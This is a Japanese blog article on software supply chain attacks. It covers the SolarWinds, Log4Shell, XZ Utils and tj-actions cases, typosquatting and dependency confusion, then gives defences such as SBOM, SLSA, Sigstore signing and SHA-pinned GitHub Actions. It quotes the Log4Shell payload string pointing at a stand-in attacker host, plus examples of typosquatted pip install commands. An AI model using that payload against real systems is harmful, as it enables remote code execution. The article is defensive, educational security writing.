要旨

　あなたが今日デプロイしたアプリケーションには、自分で書いていないコードが何行含まれているでしょうか。平均的な SaaS アプリケーションは 203 の直接依存と 1,200 以上の間接依存を持つとされています[1]。それぞれが潜在的な侵入経路です。2020 年の SolarWinds 事案では、ビルドシステムへの侵入で 18,000 組織が一度に侵害されました。2024 年の XZ Utils バックドア（CVE-2024-3094、CVSS 10.0）では、攻撃者が 2 年半かけてオープンソースプロジェクトのメンテナーに「なり」、コードに仕掛けを埋め込みました[2]。2025 年 3 月の tj-actions 事案では、GitHub Actions の脆弱なタグ参照が原因で 23,000 以上のリポジトリから CI/CD シークレットが流出しています[3]。本記事では、ソフトウェア・サプライチェーン攻撃を「他社の問題」ではなく、開発パイプラインそのものが攻撃面になった現実として論じます。

記事本文

1. ソフトウェア・サプライチェーンとは何か——なぜ「自分で書いていないコード」が問題になるのか

　Linux PrivEsc や Active Directory 攻撃が「既存インフラの設定ミスを突く」ものだとすれば、サプライチェーン攻撃は「開発プロセスそのものを汚染する」攻撃です。狙われるのはエンドポイントや本番サーバーではなく、ソフトウェアが産まれる「上流」——依存ライブラリ・ビルドシステム・CI/CD パイプライン・パッケージレジストリ・オープンソースのメンテナー自身です。

　現代のソフトウェア開発において、全コードを自前で書くことはほぼ不可能です。npm・PyPI・Maven・GitHub Actions などのエコシステムは開発速度を飛躍的に高めますが、同時に「信頼の転移」という構造的なリスクを生みます。あるライブラリを信頼するということは、そのライブラリが依存する全ライブラリも暗黙に信頼することを意味します。攻撃者はこの「暗黙の信頼」を利用します[4]。

　OWASP は 2025 年版 Top 10 で「Software and Data Integrity Failures（ソフトウェア・データ完全性の失敗）」を主要カテゴリとして位置づけており、サプライチェーン攻撃はもはや特殊事例ではなく、あらゆる組織が想定すべき脅威として認識されています[5]。

2. 攻撃の分類——サプライチェーンはどこから壊れるのか

ノースカロライナ州立大学と Yahoo! の共同研究（2025 年）は、SolarWinds・Log4j・XZ Utils の 3 大事案を 106 件のインシデントレポートと MITRE ATT&CK の 203 の攻撃技術に照合し、サプライチェーン攻撃の侵入経路が大きく 3 類型に分かれることを示しました[6]。

類型	侵入経路	代表的事案
ビルドインフラへの侵害	CI/CD・ビルドシステム・コード署名基盤への直接侵入	SolarWinds（2020）
依存関係の脆弱性悪用	使用ライブラリの既知・未知の脆弱性	Log4j（2021）
人間への攻撃（ソーシャルエンジニアリング）	OSS メンテナーへの長期的信頼構築によるアクセス奪取	XZ Utils（2024）

　それぞれを深掘りします。

3. 代表的な攻撃手法の解説

手法1：ビルドシステムへの侵入——SolarWinds SUNBURST

　2020 年 12 月に発覚した SolarWinds 事案は、ロシアの APT29（Cozy Bear）が SolarWinds のビルドシステムに侵入し、正規のコード署名証明書でサインされたソフトウェアアップデートに SUNBURST マルウェアを混入させた事案です[1]。

　攻撃の構造は次の通りです。

攻撃フロー（SolarWinds SUNBURST）：

SolarWinds の CI/CD パイプラインに侵入
  ↓
Orion プラットフォームのビルドプロセスに悪意あるコードを注入
  ↓
正規の SolarWinds コード署名証明書で署名された状態で配布
  ↓
18,000+ 組織が「正規の」アップデートとして受信・インストール
  ↓
攻撃者が選定した約100の高価値標的（米財務省・商務省等）でペイロードを起動

　この事案のもっとも重要な教訓は、「正規署名されたコードは安全」という前提が崩れたことです[6]。コード署名は「このソフトウェアは誰々が署名した」という事実を証明しますが、「署名者のビルド環境が侵害されていないこと」は証明しません。MITRE ATT&CK では T1553（Trust Controls の破壊）として分類されています。

手法2：依存関係の脆弱性——Log4Shell と推移的依存の罠

　2021 年 12 月に発覚した Log4Shell（CVE-2021-44228）は、Java の広く使われるロギングライブラリ Log4j に発見されたリモートコード実行の脆弱性です。CVSS スコア 10.0、エクスプロイトは ${jndi:ldap://attacker.com/a} という文字列をログに出力させるだけというシンプルさで、世界中のシステムに影響しました[4]。

　この事案で明らかになったのが推移的依存（Transitive Dependency）の怖さです。

推移的依存の例：

あなたのアプリ
  └─ Spring Boot（直接依存）
      └─ Elasticsearch（間接依存）
          └─ Log4j 2.x（推移的依存）← 脆弱性！

　あなたは Log4j を直接 import していないかもしれません。しかし 3 段階の依存先が使っていれば、あなたのアプリも脆弱です。平均的なアプリが持つ 1,200 以上の間接依存のうち、何がどんな脆弱性を抱えているかを人力で把握することは現実的に不可能です。これがSBOM（Software Bill of Materials：ソフトウェア部品表）が注目される本質的な理由です[7]。

手法3：OSS メンテナーへの人的攻撃——XZ Utils バックドア（CVE-2024-3094）

　2024 年 3 月に発覚した XZ Utils 事案は、テクニカルな脆弱性ではなく人間の信頼関係そのものが攻撃面になったという点で、サプライチェーン攻撃の新たな次元を示しました[2]。

　「Jia Tan（JiaT75）」と名乗る攻撃者は、2021 年から以下の計画的な手順で OSS コミュニティに侵入しました。

攻撃タイムライン（2.6 年にわたる計画的侵入）：

2021年 - メーリングリストへの質の高いパッチ投稿で信頼構築
2022年 - コミットアクセスを取得・継続的な貢献でメンテナー権限を確立
       - 既存メンテナーへの「燃え尽き症候群」を利用したプレッシャー
2024年2月 - バックドア本体を「テストファイル」に偽装して xz 5.6.0/5.6.1 に注入
       - ビルドプロセス中にのみ liblzma.so に組み込まれる巧妙な手法
       - Fedora 41・Debian testing に取り込まれた段階で偶然発見

　バックドアの仕掛けは、ソースコード上は無害に見えるテストファイル内に隠され、コンパイル時にのみ悪意あるコードとして組み立てられる構造でした[2]。OpenSSH の RSA_public_decrypt 関数を乗っ取り、特定の秘密鍵を持つ攻撃者が認証をバイパスしてルートコマンドを実行できる状態でした。CVSS 10.0、もし本番導入された Linux ディストリビューションに広まっていれば、世界中の SSH サーバーが瞬時に掌握されていたかもしれません[2]。

　発見したのは Microsoft エンジニアの Andres Freund が「SSH の接続が 500ms 遅い」という異常に気づいたことによる偶然でした。Alex Stamos はこれを「いかなるソフトウェア製品にもこれまで埋め込まれた中で最も広範かつ効果的なバックドアになりえた」と評しています[1]。

手法4：CI/CD パイプラインへの攻撃——tj-actions 事案（CVE-2025-30066）

　2025 年 3 月 14 日、GitHub Actions のワークフローで広く使われる tj-actions/changed-files が侵害されました[3]。

攻撃フロー（tj-actions サプライチェーン攻撃）：

攻撃者：spotbugs プロジェクトの pull_request_target ワークフローから
       メンテナーの PAT（Personal Access Token）を窃取
  ↓
reviewdog/action-setup@v1 のタグを悪意あるコミットに書き換え
  ↓
tj-actions/changed-files が reviewdog を参照していたため
       → tj-actions の全バージョンタグ（v1〜v45）が悪意あるコミットを指す状態に
  ↓
23,000+ リポジトリで実行されたワークフローがランナーのメモリをスキャン
  ↓
CI/CD シークレット（APIキー・認証トークン・パスワード）が
       GitHub Actions のワークフローログ（公開）に出力・流出

　CISA は公式アドバイザリを発行し、最終的なターゲットは Coinbase だったことが判明しています[3]。この攻撃で悪用されたのは「ゼロデイ脆弱性」ではなく、「GitHub Actions のタグが誰でも書き換え可能」というドキュメント通りの仕様です。uses: tj-actions/changed-files@v45 のような「可変タグ参照」は、タグが指すコードが書き換わっても検知できない構造上の弱点です[8]。

手法5：タイポスクワッティングと依存関係混乱攻撃

　これらは CI/CD ではなく、開発者の「うっかりミス」を狙う手法です。

タイポスクワッティング（Typosquatting）：

# 正規パッケージ
pip install requests

# 攻撃者が公開した悪意あるパッケージ（文字を1つ変えただけ）
pip install reqeusts    # e と u が逆
pip install request     # s が抜けている
pip install requests-lib # 類似名

依存関係混乱攻撃（Dependency Confusion）：

　内部パッケージレジストリと公開レジストリの優先順位の曖昧さを突く攻撃です。例えば組織内で my-internal-lib という名前のプライベートパッケージを使っているとき、攻撃者が同名のパッケージを npm や PyPI に高バージョン番号で公開すると、パッケージマネージャーが「より新しい」公開パッケージを自動的に優先してインストールしてしまうケースがあります[9]。

　2025 年 9 月、GitGuardian は 327 の GitHub ユーザー・817 リポジトリに影響する大規模サプライチェーン攻撃「GhostAction」を発見。悪意あるワークフローが PyPI・npm・DockerHub のトークンを含む 3,325 件のシークレットを外部エンドポイントに流出させていました[9]。

4. 防衛の技術体系——SBOM・SLSA・Sigstore を理解する

　攻撃の多様性と規模に対応するため、業界は体系的な防衛フレームワークを整備しています。3 つの核心的技術を解説します。

SBOM（Software Bill of Materials：ソフトウェア部品表）

　SBOM とは、ソフトウェアに含まれる全コンポーネント・バージョン・依存関係・ライセンスを機械可読形式で記述した「部品表」です[7]。食品の成分表示に相当するもので、「何が入っているか」の透明性を確保します。

　主要なフォーマットは 2 種類です。

フォーマット	管理主体	特徴
CycloneDX	OWASP	セキュリティユースケース中心、AI-BOM の拡張も対応
SPDX	Linux Foundation	ライセンスコンプライアンス中心、ISO 5962 として標準化

　Log4Shell 発生時、SBOM を持つ組織は「自社製品に Log4j が含まれるか」を数分で特定できました。持たない組織は全コードベースを手動で精査する作業に追われ、応答に数週間を要したケースもありました。SBOM は「脆弱性が見つかったとき」ではなく「見つかる前」に準備する防衛資産です[7]。

　規制の動向として、米国大統領令 EO 14028（2021 年）は政府調達ソフトウェアへの SBOM 提供を義務化[10]、EU サイバーレジリエンス法（CRA）も SBOM を必須要件として定めており、日本でも経済産業省が 2024 年 8 月に「ソフトウェア管理に向けた SBOM 導入に関する手引 Ver2.0」を公開しています[7]。

SLSA（Supply-chain Levels for Software Artifacts）

　SLSA（「サルサ」と発音）は Google が主導するフレームワークで、「ソフトウェアがどのように作られたか（来歴）」を段階的に保証します[11]。

SLSA レベルの概要：

SLSA Level 0：保証なし（現状）
SLSA Level 1：ビルドプロセスがスクリプト化されドキュメント化されている
              ビルドの来歴（Provenance）が記録されている
SLSA Level 2：改ざん不可能なビルドサービスを使用
              来歴が認証されている
SLSA Level 3：完全に隔離された再現可能なビルド環境
              ビルドシステム自体の完全性が保証されている

　SolarWinds が Level 3 を達成していれば、ビルドシステムへの侵入が来歴の異常として検知できた可能性があります。SLSA は SBOM が「何が入っているか」を示すのに対し、「どのプロセスで作られたか」という来歴（Provenance）を保証する点で補完的な関係にあります[11]。

Sigstore（コード署名の民主化）

　Sigstore は Linux Foundation が管理するオープンソースプロジェクトで、ソフトウェアアーティファクトへの署名と検証を「秘密鍵の管理なし」で実現します[11]。

# cosign を使ったコンテナイメージへのキーレス署名（OIDC ベース）
cosign sign --yes ghcr.io/myorg/myapp:v1.0.0

# 検証
cosign verify --certificate-identity=https://github.com/myorg/myapp/.github/workflows/release.yml@refs/heads/main \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/myorg/myapp:v1.0.0

　従来のコード署名は「長期的な秘密鍵の管理」という運用上の重荷がありました。Sigstore は OIDC（GitHub Actions などの ID プロバイダー）で本人確認を行い、一時的な短命証明書を発行し、署名の証拠を改ざん不可能な透明性ログ（Rekor）に記録します。XZ Utils 事案のような「ビルド時に悪意あるコードが注入される」攻撃への防衛として、ビルド成果物の署名と来歴の検証は今後の標準的プラクティスとなっています[11]。

5. 規制と標準化の動向——義務化の波が来ている

規制・フレームワーク	内容	主体・時期
EO 14028	政府調達ソフトウェアへの SBOM 義務化、SSDF（セキュアソフトウェア開発フレームワーク）準拠	米国・2021年
EO 14144	EO 14028 を強化し、AI システムを含むソフトウェアサプライチェーン要件を拡大	米国・2025年
EU CRA（サイバーレジリエンス法）	EU 域内で販売するデジタル製品に SBOM・脆弱性対応プロセスを義務化	EU・2024年成立
NIST SSDF（SP 800-218）	政府調達向けセキュアソフトウェア開発の要件	NIST
OpenSSF Scorecard	OSS プロジェクトのセキュリティプラクティスを自動スコアリング	OpenSSF
SLSA フレームワーク	ビルド来歴の段階的保証（Level 1〜3）	Google / OpenSSF
OWASP Top 10（2025）	Software Supply Chain Failures を新カテゴリとして追加	OWASP
経産省 SBOM 手引 Ver2.0	日本企業向けの SBOM 導入ガイドライン	経産省・2024年8月

6. 防御側の視点：開発者・組織が今すぐ着手すべきチェックリスト

攻撃の構造を理解したうえで、実務として取り組める防衛策を整理します。

（1）依存関係の可視化と管理

直接・間接依存を含む全コンポーネントを把握しているか（SBOM の整備）
npm audit・pip-audit・dependabot・Renovate 等で依存関係の脆弱性を継続的にスキャンしているか
パッケージを追加する際にタイポスクワッティングのリスクを確認しているか（パッケージ名・ダウンロード数・メンテナー情報の検証）

（2）CI/CD パイプラインの硬化

# NG：可変タグ参照（tj-actions 事案の根本原因）
- uses: tj-actions/changed-files@v45

# OK：コミット SHA でピン留め（タグが書き換わっても影響しない）
- uses: tj-actions/changed-files@d6e91a2266cdb9d62096b5a2966392d0db6c6d15

GitHub Actions のサードパーティアクションをすべてコミット SHA で固定しているか
ワークフローのシークレットのスコープを最小化しているか（不要なシークレットを渡さない）
OIDC を使った短命トークンで永続的な認証情報の使用を排除しているか

（3）コードとビルド成果物の署名

Sigstore（cosign）でコンテナイメージや成果物に署名しているか
SLSA Level 1 以上のビルド来歴記録を導入しているか
コード署名に使う証明書のローテーションポリシーを定めているか

（4）OSS 依存とメンテナーリスクの管理

単一メンテナーで管理される「重要度が高いが過小評価されているライブラリ」を特定しているか
OpenSSF Scorecard でサードパーティライブラリのセキュリティスコアを評価しているか
使用している OSS に経済的支援（スポンサーシップ）を検討しているか（メンテナー燃え尽き問題への対応）

（5）インシデント対応の準備

サプライチェーン侵害を想定したシークレットローテーションの手順を整備しているか
tj-actions 事案のような「CI/CD ログへの機密情報流出」を監視する仕組みがあるか
依存関係に問題が発覚した場合のロールバック計画を持っているか

7. セキュリティエンジニアとして考えるべきこと

　これまでのシリーズ記事で、Linux PrivEsc は「管理者の設定ミス」、AD 攻撃は「正規の認証の悪用」、AI 攻撃は「人間の盲点の自動化」、PQC は「数学的前提の崩壊」を論じてきました。ソフトウェア・サプライチェーン攻撃が提示する問題は、それらとは別の次元にあります。「信頼したコードが信頼できなくなる」という、ソフトウェアの構成原理そのものへの攻撃です。

　XZ Utils 事案が示したのは、技術的な脆弱性スキャンでは検知できない脅威の存在です。バックドアはソースコードに存在せず、ビルドプロセスでのみ組み立てられ、貢献の質も高く、2 年以上の信頼構築の末に埋め込まれました。これを防ぐためには「コードレビュー」だけでは不十分で、ビルド来歴・成果物署名・SBOM の三位一体が必要です。

　また、OWASP Top 10（2025）への「Software Supply Chain Failures」の追加が示すように、サプライチェーンセキュリティはもはやセキュリティチームだけの課題ではありません。開発者がライブラリを選ぶ瞬間から、CI/CD を設計する瞬間まで、すべての工程がセキュリティの決定です。

　サプライチェーン攻撃は「防ぎきれない」という側面があります。SolarWinds は適切なセキュリティ体制を持つ企業でした。XZ Utils の攻撃者は本物の技術力を持ち、コミュニティを欺き続けました。だからこそ、防御は「攻撃を完全に防ぐ」ことではなく、「侵害を早期に検知し、影響を最小化し、迅速に回復できる体制を整える」ことに重心を置く必要があります。SBOM はその回復能力の基盤です。

参考文献

[1] SoftwareSeni. "Software Supply Chain Security After SolarWinds and XZ Utils." February 15, 2026.
https://www.softwareseni.com/software-supply-chain-security-after-solarwinds-and-xz-utils/

[2] Invicti. "The Xz-Utils Backdoor: The Supply Chain RCE That Got Caught." April 4, 2024.
https://www.invicti.com/blog/web-security/xz-utils-backdoor-supply-chain-rce-that-got-caught/

[3] CISA. "Supply Chain Compromise of Third-Party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154)." March 18, 2025.
https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction

[4] APC 技術ブログ（エーピーコミュニケーションズ）. "ソフトウェアサプライチェーンの盲点をなくす：SBoMによる可視化と防御の戦略." January 2, 2026.
https://techblog.ap-com.co.jp/entry/2026/01/02/075000

[5] Socket.dev. "GitHub Actions Supply Chain Attack Puts Thousands of Projects at Risk." 2025.
https://socket.dev/blog/github-actions-supply-chain-attack-puts-thousands-of-projects-at-risk

[6] Hamer, S. et al. (NC State University / Yahoo!). "Closing the Chain: How to reduce your risk of being SolarWinds, Log4j, or XZ Utils." arXiv:2503.12192v2, 2025.
https://arxiv.org/html/2503.12192v2

[7] ALSOK デジタルセールス. "SBOMとは？ソフトウェアサプライチェーンの透明性を高める部品表の役割." December 2025.
https://www.digitalsales.alsok.co.jp/col_sbom

[8] Andrew Nesbitt. "GitHub Actions is the weakest link." April 28, 2026.
https://nesbitt.io/2026/04/28/github-actions-is-the-weakest-link.html

[9] GitGuardian. "Protecting Your Software Supply Chain: Understanding Typosquatting and Dependency Confusion Attacks." January 30, 2025.
https://blog.gitguardian.com/protecting-your-software-supply-chain-understanding-typosquatting-and-dependency-confusion-attacks/

[10] 富士ソフト FSI Embedded. "迫るSBOM義務化の波！サプライチェーンセキュリティとその対策." 2025.
https://www.fsi-embedded.jp/solutions/oss_sbom/sbom-mandatory/

[11] サプライチェーン攻撃対策のCI/CD解説. "SLSA・署名・改ざん検知を解説." Guardian.jpn.com.
https://guardian.jpn.com/security/cloud-supply/supply-chain/column/technical/cicd/

[12] Harness. "Assessing the tj-actions supply chain attack and mitigation steps." March 23, 2026.
https://www.harness.io/blog/github-actions-supply-chain-attack-tj-actions-changed-files

[13] CrowdStrike. "CVE-2024-3094 and XZ Upstream Supply Chain Attack." 2024.
https://www.crowdstrike.com/en-us/blog/cve-2024-3094-xz-upstream-supply-chain-attack/

[14] 経済産業省. "ソフトウェア管理に向けたSBOM導入に関する手引 Ver2.0." August 2024.
https://www.meti.go.jp/policy/netsecurity/secdoc/contents/downloadfils/240829sbom.pdf